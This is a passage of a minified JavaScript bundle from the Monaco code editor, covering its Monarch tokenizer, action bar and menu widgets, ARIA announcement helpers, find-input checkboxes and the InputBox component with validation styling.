this._prependTokens=e._merge(this._prependTokens,this._tokens,u.tokens),this._tokens=[],this._currentLanguageId=0,this._lastTokenMetadata=0,u.endState},e.prototype.finalize=function(t){return new o.TokenizationResult2(e._merge(this._prependTokens,this._tokens,null),t)},e}(),g=function(){function e(e,t,i,o){var r=this;this._modeService=e,this._standaloneThemeService=t,this._modeId=i,this._lexer=o,this._embeddedModes=Object.create(null);var s=!1;this._tokenizationRegistryListener=n.TokenizationRegistry.onDidChange(function(e){if(!s){for(var t=!1,i=0,o=e.changedLanguages.length;i<o;i++){var a=e.changedLanguages[i];if(r._embeddedModes[a]){t=!0;break}}t&&(s=!0,n.TokenizationRegistry.fire([r._modeId]),s=!1)}})}return e.prototype.dispose=function(){this._tokenizationRegistryListener.dispose()},e.prototype.getInitialState=function(){var e=a.create(null,this._lexer.start);return c.create(e,null)},e.prototype.tokenize=function(e,t,n){var i=new p,o=this._tokenize(e,t,n,i);return i.finalize(o)},e.prototype.tokenize2=function(e,t,n){var i=new f(this._modeService,this._standaloneThemeService.getTheme().tokenTheme),o=this._tokenize(e,t,n,i);return i.finalize(o)},e.prototype._tokenize=function(e,t,n,i){return t.embeddedModeData?this._nestedTokenize(e,t,n,i):this._myTokenize(e,t,n,i)},e.prototype._findLeavingNestedModeOffset=function(e,t){var n=this._lexer.tokenizer[t.stack.state];n||(n=i.findRules(this._lexer,t.stack.state))||i.throwError(this._lexer,\"tokenizer state is not defined: \"+t.stack.state);var o=-1,r=!1;for(var s in n)if(h.call(n,s)){var a=n[s];if(!i.isIAction(a.action)||\"@pop\"===a.action.nextEmbedded){r=!0;var u=a.regex,l=a.regex.source;\"^(?:\"===l.substr(0,4)&&\")\"===l.substr(l.length-1,1)&&(u=new RegExp(l.substr(4,l.length-5),u.ignoreCase?\"i\":\"\"));var c=e.search(u);-1!==c&&(-1===o||c<o)&&(o=c)}}return r||i.throwError(this._lexer,'no rule containing nextEmbedded: \"@pop\" in tokenizer embedded state: '+t.stack.state),o},e.prototype._nestedTokenize=function(e,t,n,i){var o=this._findLeavingNestedModeOffset(e,t);if(-1===o){var r=i.nestedModeTokenize(e,t.embeddedModeData,n);return c.create(t.stack,new l(t.embeddedModeData.modeId,r))}var s=e.substring(0,o);s.length>0&&i.nestedModeTokenize(s,t.embeddedModeData,n);var a=e.substring(o);return this._myTokenize(a,t,n+o,i)},e.prototype._myTokenize=function(e,t,n,o){o.enterMode(n,this._modeId);for(var r=e.length,a=t.embeddedModeData,u=t.stack,l=0,d=null,p=null,f=null,g=null;l<r;){var m=l,v=u.depth,_=d?d.length:0,y=u.state,C=null,b=null,w=null,S=null,E=null;if(d)C=p,b=f.shift(),w=d.shift(),S=g,0===d.length&&(d=null,p=null,f=null,g=null);else{if(l>=r)break;var L=this._lexer.tokenizer[y];L||(L=i.findRules(this._lexer,y))||i.throwError(this._lexer,\"tokenizer state is not defined: \"+y);W=e.substr(l);for(var x in L)if(h.call(L,x)){var N=L[x];if((0===l||!N.matchOnlyAtLineStart)&&(C=W.match(N.regex))){b=C[0],w=N.action;break}}}for(C||(C=[\"\"],b=\"\"),w||(l<r&&(b=(C=[e.charAt(l)])[0]),w=this._lexer.defaultToken),l+=b.length;i.isFuzzyAction(w)&&i.isIAction(w)&&w.test;)w=w.test(b,C,y,l===r);var M=null;if(\"string\"==typeof w||Array.isArray(w))M=w;else if(w.group)M=w.group;else if(null!==w.token&&void 0!==w.token){if(M=w.tokenSubst?i.substituteMatches(this._lexer,w.token,b,C,y):w.token,w.nextEmbedded&&(\"@pop\"===w.nextEmbedded?(a||i.throwError(this._lexer,\"cannot pop embedded mode if not inside one\"),a=null):a?i.throwError(this._lexer,\"cannot enter embedded mode from within an embedded mode\"):E=i.substituteMatches(this._lexer,w.nextEmbedded,b,C,y)),w.goBack&&(l=Math.max(0,l-w.goBack)),w.switchTo&&\"string\"==typeof w.switchTo)\"@\"===(T=i.substituteMatches(this._lexer,w.switchTo,b,C,y))[0]&&(T=T.substr(1)),i.findRules(this._lexer,T)?u=u.switchTo(T):i.throwError(this._lexer,\"trying to switch to a state '\"+T+\"' that is undefined in rule: \"+S.name);else if(w.transform&&\"function\"==typeof w.transform)i.throwError(this._lexer,\"action.transform not supported\");else if(w.next)if(\"@push\"===w.next)u.depth>=this._lexer.maxStack?i.throwError(this._lexer,\"maximum tokenizer stack size reached: [\"+u.state+\",\"+u.parent.state+\",...]\"):u=u.push(y);else if(\"@pop\"===w.next)u.depth<=1?i.throwError(this._lexer,\"trying to pop an empty stack in rule: \"+S.name):u=u.pop();else if(\"@popall\"===w.next)u=u.popall();else{var T=i.substituteMatches(this._lexer,w.next,b,C,y);\"@\"===T[0]&&(T=T.substr(1)),i.findRules(this._lexer,T)?u=u.push(T):i.throwError(this._lexer,\"trying to set a next state '\"+T+\"' that is undefined in rule: \"+S.name)}w.log&&\"string\"==typeof w.log&&i.log(this._lexer,this._lexer.languageId+\": \"+i.substituteMatches(this._lexer,w.log,b,C,y))}if(null===M&&i.throwError(this._lexer,\"lexer rule has no well-defined action in rule: \"+S.name),Array.isArray(M)){d&&d.length>0&&i.throwError(this._lexer,\"groups cannot be nested: \"+S.name),C.length!==M.length+1&&i.throwError(this._lexer,\"matched number of groups does not match the number of actions in rule: \"+S.name);for(var k=0,I=1;I<C.length;I++)k+=C[I].length;k!==b.length&&i.throwError(this._lexer,\"with groups, all characters should be matched in consecutive groups in rule: \"+S.name),p=C,f=C.slice(1),d=M.slice(0),g=S,l-=b.length}else{if(\"@rematch\"===M&&(l-=b.length,b=\"\",C=null,M=\"\"),0===b.length){if(v!==u.depth||y!==u.state||(d?d.length:0)!==_)continue;i.throwError(this._lexer,\"no progress in tokenizer in rule: \"+S.name),l=r}var D=null;if(i.isString(M)&&0===M.indexOf(\"@brackets\")){var O=M.substr(\"@brackets\".length),R=s(this._lexer,b);R||(i.throwError(this._lexer,\"@brackets token returned but no bracket defined as: \"+b),R={token:\"\",bracketType:0}),D=i.sanitize(R.token+O)}else{var P=\"\"===M?\"\":M+this._lexer.tokenPostfix;D=i.sanitize(P)}if(o.emit(m+n,D),null!==E){var A=this._modeService.getModeIdForLanguageName(E);A&&(E=A);var F=this._getNestedEmbeddedModeData(E);if(l<r){var W=e.substr(l);return this._nestedTokenize(W,c.create(u,F),n+l,o)}return c.create(u,F)}}}return c.create(u,a)},e.prototype._getNestedEmbeddedModeData=function(e){var t=this._locateMode(e);if(t){var i=n.TokenizationRegistry.get(t.getId());if(i)return new l(t.getId(),i.getInitialState())}var o=t?t.getId():r.NULL_MODE_ID;return new l(o,r.NULL_STATE)},e.prototype._locateMode=function(e){if(!e||!this._modeService.isRegisteredMode(e))return null;var t=this._modeService.getModeId(e);this._modeService.getOrCreateMode(t);var n=this._modeService.getMode(t);return n?(this._embeddedModes[t]=!0,n):(this._embeddedModes[t]=!0,null)},e}();t.createTokenizationSupport=function(e,t,n,i){return new g(e,t,n,i)}}),define(d[427],h([6,8]),function(e,t){return e.create(\"vs/base/browser/ui/actionbar/actionbar\",t)}),define(d[75],h([1,0,427,3,52,259,53,4,79,29,38,74,65,496]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(e){function t(t,n,i){var o=e.call(this)||this;return o.options=i,o._callOnDispose=[],o._context=t||o,o._action=n,n instanceof s.Action&&o._callOnDispose.push(n.onDidChange(function(e){o.builder&&o._handleActionChangeEvent(e)})),o}return f(t,e),t.prototype._handleActionChangeEvent=function(e){void 0!==e.enabled&&this._updateEnabled(),void 0!==e.checked&&this._updateChecked(),void 0!==e.class&&this._updateClass(),void 0!==e.label&&(this._updateLabel(),this._updateTooltip()),void 0!==e.tooltip&&this._updateTooltip()},Object.defineProperty(t.prototype,\"callOnDispose\",{get:function(){return this._callOnDispose},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"actionRunner\",{get:function(){return this._actionRunner},set:function(e){this._actionRunner=e},enumerable:!0,configurable:!0}),t.prototype.getAction=function(){return this._action},t.prototype.isEnabled=function(){return this._action.enabled},t.prototype.setActionContext=function(e){this._context=e},t.prototype.render=function(e){var t=this;this.builder=o.$(e),this.gesture=new d.Gesture(e);var n=this.options&&this.options.draggable;n&&(e.draggable=!0),this.builder.on(d.EventType.Tap,function(e){return t.onClick(e)}),this.builder.on(a.EventType.MOUSE_DOWN,function(e){n||a.EventHelper.stop(e),t._action.enabled&&0===e.button&&t.builder.addClass(\"active\")}),this.builder.on(a.EventType.CLICK,function(e){a.EventHelper.stop(e,!0),t.options&&t.options.isMenu?t.onClick(e):setTimeout(function(){return t.onClick(e)},50)}),this.builder.on([a.EventType.MOUSE_UP,a.EventType.MOUSE_OUT],function(e){a.EventHelper.stop(e),t.builder.removeClass(\"active\")})},t.prototype.onClick=function(e){a.EventHelper.stop(e,!0);var t;l.isUndefinedOrNull(this._context)?t=e:(t=this._context).event=e,this._actionRunner.run(this._action,t)},t.prototype.focus=function(){this.builder&&this.builder.domFocus()},t.prototype.blur=function(){this.builder&&this.builder.domBlur()},t.prototype._updateEnabled=function(){},t.prototype._updateLabel=function(){},t.prototype._updateTooltip=function(){},t.prototype._updateClass=function(){},t.prototype._updateChecked=function(){},t.prototype.dispose=function(){e.prototype.dispose.call(this),this.builder&&(this.builder.destroy(),this.builder=null),this.gesture&&(this.gesture.dispose(),this.gesture=null),this._callOnDispose=i.dispose(this._callOnDispose)},t}(c.EventEmitter);t.BaseActionItem=p;var g=function(e){function t(n,i){var o=e.call(this,t.ID,n,n?\"separator text\":\"separator\")||this;return o.checked=!1,o.radio=!1,o.enabled=!1,o.order=i,o}return f(t,e),t.ID=\"vs.actions.separator\",t}(s.Action);t.Separator=g;var m=function(e){function t(t,n,i){void 0===i&&(i={});var o=e.call(this,t,n,i)||this;return o.options=i,o.options.icon=void 0!==i.icon&&i.icon,o.options.label=void 0===i.label||i.label,o.cssClass=\"\",o}return f(t,e),t.prototype.render=function(t){e.prototype.render.call(this,t),this.$e=o.$(\"a.action-label\").appendTo(this.builder),this._action.id===g.ID?this.$e.attr({role:\"presentation\"}):this.options.isMenu?this.$e.attr({role:\"menuitem\"}):this.$e.attr({role:\"button\"}),this.options.label&&this.options.keybinding&&o.$(\"span.keybinding\").text(this.options.keybinding).appendTo(this.builder),this._updateClass(),this._updateLabel(),this._updateTooltip(),this._updateEnabled(),this._updateChecked()},t.prototype.focus=function(){e.prototype.focus.call(this),this.$e.domFocus()},t.prototype._updateLabel=function(){this.options.label&&this.$e.text(this.getAction().label)},t.prototype._updateTooltip=function(){var e=null;this.getAction().tooltip?e=this.getAction().tooltip:!this.options.label&&this.getAction().label&&this.options.icon&&(e=this.getAction().label,this.options.keybinding&&(e=n.localize(0,null,e,this.options.keybinding))),e&&this.$e.attr({title:e})},t.prototype._updateClass=function(){this.cssClass&&this.$e.removeClass(this.cssClass),this.options.icon?(this.cssClass=this.getAction().class,this.$e.addClass(\"icon\"),this.cssClass&&this.$e.addClass(this.cssClass),this._updateEnabled()):this.$e.removeClass(\"icon\")},t.prototype._updateEnabled=function(){this.getAction().enabled?(this.builder.removeClass(\"disabled\"),this.$e.removeClass(\"disabled\"),this.$e.attr({tabindex:0})):(this.builder.addClass(\"disabled\"),this.$e.addClass(\"disabled\"),a.removeTabIndexAndUpdateFocus(this.$e.getHTMLElement()))},t.prototype._updateChecked=function(){this.getAction().checked?this.$e.addClass(\"checked\"):this.$e.removeClass(\"checked\")},t.prototype._updateRadio=function(){this.getAction().radio?this.$e.addClass(\"radio\"):this.$e.removeClass(\"radio\")},t}(p);t.ActionItem=m;var v;!function(e){e[e.HORIZONTAL=1]=\"HORIZONTAL\",e[e.VERTICAL=2]=\"VERTICAL\"}(v=t.ActionsOrientation||(t.ActionsOrientation={}));var _={orientation:v.HORIZONTAL,context:null},y=function(e){function t(t,n){void 0===n&&(n=_);var i=e.call(this)||this;i.options=n,i._context=n.context,i.toDispose=[],i._actionRunner=i.options.actionRunner,i._actionRunner||(i._actionRunner=new s.ActionRunner,i.toDispose.push(i._actionRunner)),i.toDispose.push(i.addEmitter(i._actionRunner)),i.items=[],i.focusedItem=void 0,i.domNode=document.createElement(\"div\"),i.domNode.className=\"monaco-action-bar\",!1!==n.animated&&a.addClass(i.domNode,\"animated\");var r=i.options.orientation===v.VERTICAL;return r&&(i.domNode.className+=\" vertical\"),o.$(i.domNode).on(a.EventType.KEY_DOWN,function(e){var t=new h.StandardKeyboardEvent(e),n=!0;t.equals(r?16:15)?i.focusPrevious():t.equals(r?18:17)?i.focusNext():t.equals(9)?i.cancel():t.equals(3)||t.equals(10)||(n=!1),n&&(t.preventDefault(),t.stopPropagation())}),o.$(i.domNode).on(a.EventType.KEY_UP,function(e){var t=new h.StandardKeyboardEvent(e);t.equals(3)||t.equals(10)?(i.doTrigger(t),t.preventDefault(),t.stopPropagation()):(t.equals(2)||t.equals(1026))&&i.updateFocusedItem()}),i.focusTracker=a.trackFocus(i.domNode),i.focusTracker.addBlurListener(function(){document.activeElement!==i.domNode&&a.isAncestor(document.activeElement,i.domNode)||(i.emit(a.EventType.BLUR,{}),i.focusedItem=void 0)}),i.focusTracker.addFocusListener(function(){return i.updateFocusedItem()}),i.actionsList=document.createElement(\"ul\"),i.actionsList.className=\"actions-container\",i.options.isMenu?i.actionsList.setAttribute(\"role\",\"menubar\"):i.actionsList.setAttribute(\"role\",\"toolbar\"),i.options.ariaLabel&&i.actionsList.setAttribute(\"aria-label\",i.options.ariaLabel),i.domNode.appendChild(i.actionsList),(t instanceof o.Builder?t.getHTMLElement():t).appendChild(i.domNode),i}return f(t,e),t.prototype.setAriaLabel=function(e){e?this.actionsList.setAttribute(\"aria-label\",e):this.actionsList.removeAttribute(\"aria-label\")},t.prototype.updateFocusedItem=function(){for(var e=0;e<this.actionsList.children.length;e++){var t=this.actionsList.children[e];if(a.isAncestor(document.activeElement,t)){this.focusedItem=e;break}}},Object.defineProperty(t.prototype,\"context\",{get:function(){return this._context},set:function(e){this._context=e,this.items.forEach(function(t){return t.setActionContext(e)})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"actionRunner\",{get:function(){return this._actionRunner},set:function(e){e&&(this._actionRunner=e,this.items.forEach(function(t){return t.actionRunner=e}))},enumerable:!0,configurable:!0}),t.prototype.getContainer=function(){return o.$(this.domNode)},t.prototype.push=function(e,t){var n=this;void 0===t&&(t={});var i=Array.isArray(e)?e:[e],r=l.isNumber(t.index)?t.index:null;i.forEach(function(e){var i=document.createElement(\"li\");i.className=\"action-item\",i.setAttribute(\"role\",\"presentation\"),o.$(i).on(a.EventType.CONTEXT_MENU,function(e){e.preventDefault(),e.stopPropagation()});var s=null;n.options.actionItemProvider&&(s=n.options.actionItemProvider(e)),s||(s=new m(n.context,e,t)),s.actionRunner=n._actionRunner,s.setActionContext(n.context),n.addEmitter(s),s.render(i),null===r||r<0||r>=n.actionsList.children.length?n.actionsList.appendChild(i):n.actionsList.insertBefore(i,n.actionsList.children[r++]),n.items.push(s)})},t.prototype.pull=function(e){e>=0&&e<this.items.length&&(this.items.splice(e,1),this.actionsList.removeChild(this.actionsList.childNodes[e]))},t.prototype.clear=function(){this.items=i.dispose(this.items),o.$(this.actionsList).empty()},t.prototype.length=function(){return this.items.length},t.prototype.isEmpty=function(){return 0===this.items.length},t.prototype.focus=function(e){e&&void 0===this.focusedItem&&(this.focusedItem=0),this.updateFocus()},t.prototype.focusNext=function(){void 0===this.focusedItem&&(this.focusedItem=this.items.length-1);var e,t=this.focusedItem;do{this.focusedItem=(this.focusedItem+1)%this.items.length,e=this.items[this.focusedItem]}while(this.focusedItem!==t&&!e.isEnabled());this.focusedItem!==t||e.isEnabled()||(this.focusedItem=void 0),this.updateFocus()},t.prototype.focusPrevious=function(){void 0===this.focusedItem&&(this.focusedItem=0);var e,t=this.focusedItem;do{this.focusedItem=this.focusedItem-1,this.focusedItem<0&&(this.focusedItem=this.items.length-1),e=this.items[this.focusedItem]}while(this.focusedItem!==t&&!e.isEnabled());this.focusedItem!==t||e.isEnabled()||(this.focusedItem=void 0),this.updateFocus(!0)},t.prototype.updateFocus=function(e){if(void 0!==this.focusedItem)for(var t=0;t<this.items.length;t++){var n=this.items[t];t===this.focusedItem?l.isFunction(n.focus)&&n.focus(e):l.isFunction(n.blur)&&n.blur()}else this.domNode.focus()},t.prototype.doTrigger=function(e){if(void 0!==this.focusedItem){var t=this.items[this.focusedItem];if(t instanceof p){var n=null===t._context||void 0===t._context?e:t._context;this.run(t._action,n).done()}}},t.prototype.cancel=function(){document.activeElement instanceof HTMLElement&&document.activeElement.blur(),this.emit(u.EventType.CANCEL)},t.prototype.run=function(e,t){return this._actionRunner.run(e,t)},t.prototype.dispose=function(){null!==this.items&&i.dispose(this.items),this.items=null,this.focusTracker&&(this.focusTracker.dispose(),this.focusTracker=null),this.toDispose=i.dispose(this.toDispose),this.getContainer().destroy(),e.prototype.dispose.call(this)},t}(c.EventEmitter);t.ActionBar=y;var C=function(e){function t(t,n,i,o){var s=e.call(this,t,n)||this;return s.selectBox=new r.SelectBox(i,o),s.toDispose=[],s.toDispose.push(s.selectBox),s.registerListeners(),s}return f(t,e),t.prototype.setOptions=function(e,t){this.selectBox.setOptions(e,t)},t.prototype.select=function(e){this.selectBox.select(e)},t.prototype.registerListeners=function(){var e=this;this.toDispose.push(this.selectBox.onDidSelect(function(t){e.actionRunner.run(e._action,e.getActionContext(t.selected)).done()}))},t.prototype.getActionContext=function(e){return e},t.prototype.focus=function(){this.selectBox&&this.selectBox.focus()},t.prototype.blur=function(){this.selectBox&&this.selectBox.blur()},t.prototype.render=function(e){this.selectBox.render(e)},t.prototype.dispose=function(){this.toDispose=i.dispose(this.toDispose),e.prototype.dispose.call(this)},t}(p);t.SelectActionItem=C}),define(d[281],h([1,0,52,75,38,218]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t,o,r){void 0===r&&(r={});var s=e.call(this)||this;n.$(t).addClass(\"monaco-menu-container\");var a=n.$(\".monaco-menu\").appendTo(t);return s.actionBar=new i.ActionBar(a,{orientation:i.ActionsOrientation.VERTICAL,actionItemProvider:r.actionItemProvider,context:r.context,actionRunner:r.actionRunner,isMenu:!0}),s.listener=s.addEmitter(s.actionBar),s.actionBar.push(o,{icon:!0,label:!0}),s}return f(t,e),t.prototype.focus=function(){this.actionBar.focus(!0)},t.prototype.dispose=function(){e.prototype.dispose.call(this),this.actionBar&&(this.actionBar.dispose(),this.actionBar=null),this.listener&&(this.listener.dispose(),this.listener=null)},t}(o.EventEmitter);t.Menu=r}),define(d[282],h([6,8]),function(e,t){return e.create(\"vs/base/browser/ui/aria/aria\",t)}),define(d[51],h([1,0,282,15,4,500]),function(e,t,n,i,o){\"use strict\";function r(e){s(u,e)}function s(e,t){a&&(e.textContent===t&&(t=n.localize(0,null,t)),o.clearNode(e),e.textContent=t,e.style.visibility=\"hidden\",e.style.visibility=\"visible\")}Object.defineProperty(t,\"__esModule\",{value:!0});var a,u,l;t.setARIAContainer=function(e){(a=document.createElement(\"div\")).className=\"monaco-aria-container\",(u=document.createElement(\"div\")).className=\"monaco-alert\",u.setAttribute(\"role\",\"alert\"),u.setAttribute(\"aria-atomic\",\"true\"),a.appendChild(u),(l=document.createElement(\"div\")).className=\"monaco-status\",l.setAttribute(\"role\",\"status\"),l.setAttribute(\"aria-atomic\",\"true\"),a.appendChild(l),e.appendChild(a)},t.alert=r,t.status=function(e){i.isMacintosh?r(e):s(l,e)}}),define(d[284],h([6,8]),function(e,t){return e.create(\"vs/base/browser/ui/findinput/findInput\",t)}),define(d[285],h([6,8]),function(e,t){return e.create(\"vs/base/browser/ui/findinput/findInputCheckboxes\",t)}),define(d[153],h([1,0,285,506,206]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=n.localize(0,null),r=n.localize(1,null),s=n.localize(2,null),a=function(e){function t(t){return e.call(this,{actionClassName:\"monaco-case-sensitive\",title:o+t.appendTitle,isChecked:t.isChecked,onChange:t.onChange,onKeyDown:t.onKeyDown,inputActiveOptionBorder:t.inputActiveOptionBorder})||this}return f(t,e),t}(i.Checkbox);t.CaseSensitiveCheckbox=a;var u=function(e){function t(t){return e.call(this,{actionClassName:\"monaco-whole-word\",title:r+t.appendTitle,isChecked:t.isChecked,onChange:t.onChange,onKeyDown:t.onKeyDown,inputActiveOptionBorder:t.inputActiveOptionBorder})||this}return f(t,e),t}(i.Checkbox);t.WholeWordsCheckbox=u;var l=function(e){function t(t){return e.call(this,{actionClassName:\"monaco-regex\",title:s+t.appendTitle,isChecked:t.isChecked,onChange:t.onChange,onKeyDown:t.onKeyDown,inputActiveOptionBorder:t.inputActiveOptionBorder})||this}return f(t,e),t}(i.Checkbox);t.RegexCheckbox=l}),define(d[287],h([6,8]),function(e,t){return e.create(\"vs/base/browser/ui/inputbox/inputBox\",t)}),define(d[115],h([1,0,287,28,4,102,51,75,160,11,41,32,26,211]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p,g=o.$;!function(e){e[e.INFO=1]=\"INFO\",e[e.WARNING=2]=\"WARNING\",e[e.ERROR=3]=\"ERROR\"}(p=t.MessageType||(t.MessageType={}));var m={inputBackground:d.Color.fromHex(\"#3C3C3C\"),inputForeground:d.Color.fromHex(\"#CCCCCC\"),inputValidationInfoBorder:d.Color.fromHex(\"#55AAFF\"),inputValidationInfoBackground:d.Color.fromHex(\"#063B49\"),inputValidationWarningBorder:d.Color.fromHex(\"#B89500\"),inputValidationWarningBackground:d.Color.fromHex(\"#352A05\"),inputValidationErrorBorder:d.Color.fromHex(\"#BE1100\"),inputValidationErrorBackground:d.Color.fromHex(\"#5A1D1D\")},v=function(e){function t(t,n,r){var s=e.call(this)||this;s.state=\"idle\",s._onDidChange=s._register(new l.Emitter),s.onDidChange=s._onDidChange.event,s._onDidHeightChange=s._register(new l.Emitter),s.onDidHeightChange=s._onDidHeightChange.event,s.contextViewProvider=n,s.options=r||Object.create(null),h.mixin(s.options,m,!1),s.message=null,s.cachedHeight=null,s.placeholder=s.options.placeholder||\"\",s.ariaLabel=s.options.ariaLabel||\"\",s.inputBackground=s.options.inputBackground,s.inputForeground=s.options.inputForeground,s.inputBorder=s.options.inputBorder,s.inputValidationInfoBorder=s.options.inputValidationInfoBorder,s.inputValidationInfoBackground=s.options.inputValidationInfoBackground,s.inputValidationWarningBorder=s.options.inputValidationWarningBorder,s.inputValidationWarningBackground=s.options.inputValidationWarningBackground,s.inputValidationErrorBorder=s.options.inputValidationErrorBorder,s.inputValidationErrorBackground=s.options.inputValidationErrorBackground,s.options.validationOptions&&(s.validation=s.options.validationOptions.validation,s.showValidationMessage=s.options.validationOptions.showMessage||!1),s.element=o.append(t,g(\".monaco-inputbox.idle\"));var u=s.options.flexibleHeight?\"textarea\":\"input\",c=o.append(s.element,g(\".wrapper\"));return s.input=o.append(c,g(u+\".input\")),s.input.setAttribute(\"autocorrect\",\"off\"),s.input.setAttribute(\"autocapitalize\",\"off\"),s.input.setAttribute(\"spellcheck\",\"false\"),s.onfocus(s.input,function(){return o.addClass(s.element,\"synthetic-focus\")}),s.onblur(s.input,function(){return o.removeClass(s.element,\"synthetic-focus\")}),s.options.flexibleHeight?s.mirror=o.append(c,g(\"div.mirror\")):(s.input.type=s.options.type||\"text\",s.input.setAttribute(\"wrap\",\"off\")),s.ariaLabel&&s.input.setAttribute(\"aria-label\",s.ariaLabel),s.placeholder&&(s.input.setAttribute(\"placeholder\",s.placeholder),s.input.title=s.placeholder),s.oninput(s.input,function(){return s.onValueChange()}),s.onblur(s.input,function(){return s.onBlur()}),s.onfocus(s.input,function(){return s.onFocus()}),s.placeholder&&i.isIE&&s.onclick(s.input,function(e){o.EventHelper.stop(e,!0),s.input.focus()}),setTimeout(function(){return s.updateMirror()},0),s.options.actions&&(s.actionbar=s._register(new a.ActionBar(s.element)),s.actionbar.push(s.options.actions,{icon:!0,label:!1})),s.applyStyles(),s}return f(t,e),t.prototype.onBlur=function(){this._hideMessage()},t.prototype.onFocus=function(){this._showMessage()},t.prototype.setPlaceHolder=function(e){this.input&&this.input.setAttribute(\"placeholder\",e)},t.prototype.setAriaLabel=function(e){this.ariaLabel=e,this.input&&(e?this.input.setAttribute(\"aria-label\",this.ariaLabel):this.input.removeAttribute(\"aria-label\"))},t.prototype.setContextViewProvider=function(e){this.contextViewProvider=e},Object.defineProperty(t.prototype,\"inputElement\",{get:function(){return this.input},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"value\",{get:function(){return this.input.value},set:function(e){this.input.value!==e&&(this.input.value=e,this.onValueChange())},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"height\",{get:function(){return null===this.cachedHeight?o.getTotalHeight(this.element):this.cachedHeight},enumerable:!0,configurable:!0}),t.prototype.focus=function(){this.input.focus()},t.prototype.blur=function(){this.input.blur()},t.prototype.hasFocus=function(){return document.activeElement===this.input},t.prototype.select=function(e){void 0===e&&(e=null),this.input.select(),e&&this.input.setSelectionRange(e.start,e.end)},t.prototype.enable=function(){this.input.removeAttribute(\"disabled\")},t.prototype.disable=function(){this.input.disabled=!0,this._hideMessage()},t.prototype.setEnabled=function(e){e?this.enable():this.disable()},Object.defineProperty(t.prototype,\"width\",{get:function(){return o.getTotalWidth(this.input)},set:function(e){this.input.style.width=e+\"px\"},enumerable:!0,configurable:!0}),t.prototype.showMessage=function(e,t){this.message=e,o.removeClass(this.element,\"idle\"),o.removeClass(this.element,\"info\"),o.removeClass(this.element,\"warning\"),o.removeClass(this.element,\"error\"),o.addClass(this.element,this.classForType(e.type));var i=this.stylesForType(this.message.type);this.element.style.border=i.border?\"1px solid \"+i.border:null;var r;r=e.type===p.ERROR?n.localize(0,null,e.content):e.type===p.WARNING?n.localize(1,null,e.content):n.localize(2,null,e.content),s.alert(r),(this.hasFocus()||t)&&this._showMessage()},t.prototype.hideMessage=function(){this.message=null,o.removeClass(this.element,\"info\"),o.removeClass(this.element,\"warning\"),o.removeClass(this.element,\"error\"),o.addClass(this.element,\"idle\"),this._hideMessage(),this.applyStyles()},t.prototype.isInputValid=function(){return!!this.validation&&!this.validation(this.value)},t.prototype.validate=function(){var e=null;return this.validation&&((e=this.validation(this.value))?(this.inputElement.setAttribute(\"aria-invalid\",\"true\"),this.showMessage(e)):(this.inputElement.removeAttribute(\"aria-invalid\"),this.hideMessage())),!e},t.prototype.stylesForType=function(e){switch(e){case p.INFO:return{border:this.inputValidationInfoBorder,background:this.inputValidationInfoBackground};case p.WARNING:return{border:this.inputValidationWarningBorder,background:this.inputValidationWarningBackground};default:return{border:this.inputValidationErrorBorder,background:this.inputValidationErrorBackground}}},t.prototype.classForType=function(e){switch(e){case p.INFO:return\"info\";case p.WARNING:return\"warning\";default:return\"error\"}},t.prototype._showMessage=function(){var e=this;if(this.contextViewProvider&&this.message){var t,n=function(){return t.style.width=o.getTotalWidth(e.element)+\"px\"};this.state=\"open\",this.contextViewProvider.showContextView({getAnchor:function(){return e.element},anchorAlignment:u.AnchorAlignment.RIGHT,render:function(i){t=o.append(i,g(\".monaco-inputbox-container\")),n();var s={inline:!0,className:\"monaco-inputbox-message\"},a=e.message.formatContent?r.renderFormattedText(e.message.content,s):r.renderText(e.message.content,s);o.addClass(a,e.classForType(e.message.type));var u=e.stylesForType(e.message.type);return a.style.backgroundColor=u.background?u.background.toString():null,a.style.border=u.border?\"1px solid \"+u.border:null,o.append(t,a),null},layout:n})}},t.prototype._hideMessage=function(){this.contextViewProvider&&\"open\"===this.state&&(this.state=\"idle\",this.contextViewProvider.hideContextView())},t.prototype.onValueChange=function(){this._onDidChange.fire(this.value),this.validate(),this.updateMirror(),\"open\"===this.state&&this.contextViewProvider.layout()},t.prototype.updateMirror=function(){if(this.mirror){var e=this.value||this.placeholder,t=10===e.charCodeAt(e.length-1)?\" \":\"\";this.mirror.textContent=e+t,this.layout()}},t.prototype.style=function(e){this.inputBackground=e.inputBackground,this.inputForeground=e.inputForeground,this.inputBorder=e.inputBorder,this.inputValidationInfoBackground=e.inputValidationInfoBackground,this.inputValidationInfoBorder=e.inputValidationInfoBorder,this.inputValidationWarningBackground=e.inputValidationWarningBackground,this.inputValidationWarningBorder=e.inputValidationWarningBorder,this.inputValidationErrorBackground=e.inputValidationErrorBackground,this.inputValidationErrorBorder=e.inputValidationErrorBorder,this.applyStyles()},t.prototype.applyStyles=function(){if(this.element){var e=this.inputBackground?this.inputBackground.toString():null,t=this.inputForeground?this.inputForeground.toString():null,n=this.inputBorder?this.inputBorder.toString():null;this.element.style.backgroundColor=e,this.element.style.color=t,this.input.style.backgroundColor=e,this.input.style.color=t,this.element.style.borderWidth=n?\"1px\":null,this.element.style.borderStyle=n?\"solid\":null,this.element.style.borderColor=n}},t.prototype.layout=function(){if(this.mirror){var e=this.cachedHeight;this.cachedHeight=o.getTotalHeight(this.mirror),e!==this.cachedHeight&&(this.input.style.height=this.cachedHeight+\"px\",this._onDidHeightChange.fire(this.cachedHeight))}},t.prototype.dispose=function(){this._hideMessage(),this.element=null,this.input=null,this.contextViewProvider=null,this.message=null,this.placeholder=null,this.ariaLabel=null,this.validation=null,this.showValidationMessage=null,this.state=null,this.actionbar=null,e.prototype.dispose.call(this)},t}(c.Widget);t.InputBox=v}),define(d[289],h([1,0,284,4,115,41,11,153,205]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u=n.localize(0,null),l=function(e){function t(t,n,i){var o=e.call(this)||this;return o._onDidOptionChange=o._register(new 